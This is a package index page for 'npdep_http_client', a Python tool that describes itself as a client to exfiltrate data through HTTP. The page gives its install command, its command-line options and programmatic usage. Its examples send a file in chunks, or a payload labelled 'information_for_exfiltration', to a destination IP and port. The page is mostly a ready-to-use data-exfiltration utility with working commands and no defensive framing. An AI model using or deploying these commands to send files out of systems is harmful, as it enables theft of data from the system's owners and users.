A client to exfiltrate data through HTTP messages
Project description
Description
A client to exfiltrate data through HTTP protocol
Installation
pip install npdep_http_client
Usage
From command line:
python -m npdep_http_client [-h] [--mode {payload,file}] --ip IP --port PORT [--pkgSize PKGSIZE] [--path PATH] [--filePath FILEPATH] [--payload PAYLOAD]
| Option | Short | Type | Default | Description |
|---|---|---|---|---|
| --mode | -m | String | file | file = Sends file --filePath in --pkSize chunks per HTTP request payload = Sends payload per HTTP request |
| --ip | -i | String | - | IP address of destination |
| --port | -p | Int | - | Port of destination |
| --pkgSize | -k | Int | 1200 | Nr. of bytes to load from file under --filePath in chunks |
| --path | -t | String | / | Path for HTTP request |
| --filePath | -e | String | - | Path to file which shall be send in mode: file |
| --payload | -a | String | - | Payload to be send in mode: payload |
Programmatically:
from npdep_http_client.util.Util import Util
from npdep_http_client.type.RequestType import RequestType
from npdep_http_client.client.Client import Client
client = Client("10.10.10.10", 4567)
# Get request type
requestType = RequestType.VALUES["file"]
if(requestType == RequestType.FILE):
Util.sendFileWithHttpRequest(client, 1200, "/", "path/to/file/data.txt")
elif(requestType == RequestType.PAYLOAD):
client.sendHttpRequest(s=None, path="/", payload="information_for_exfiltration")
Example
python -m npdep_http_client -i 10.10.10.10 -p 4567 -m payload -a "information_for_exfiltration"
Sends information_for_exfiltration to 10.10.10.10 on port 4567 as an HTTP request.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file npdep_http_client-1.0.0.tar.gz.
File metadata
- Download URL: npdep_http_client-1.0.0.tar.gz
- Upload date:
- Size: 4.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.1 CPython/3.13.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
cfb0ec437736bcaf1fde5481ae8375a71ea3fa6bcfdec3ec781b078d9ddbb53e
|
|
| MD5 |
01e776eed1ff662dfd740bdcc9ca56a7
|
|
| BLAKE2b-256 |
6c70ac0c735f8f6d2812bd2d9b151508395e3f936c4293c6024ed9ce1f58b293
|
File details
Details for the file npdep_http_client-1.0.0-py3-none-any.whl.
File metadata
- Download URL: npdep_http_client-1.0.0-py3-none-any.whl
- Upload date:
- Size: 6.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.1 CPython/3.13.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
17573e7bc40707d042f0e39fc31905a4300210f32f15d28f005ba95ff140eb45
|
|
| MD5 |
0779950b6bb3490e7a0317aa4eb58b4e
|
|
| BLAKE2b-256 |
c47fa4de0fea8a9dc91212ca98a36a4b3fd2b0eb4103250de84b71e704130182
|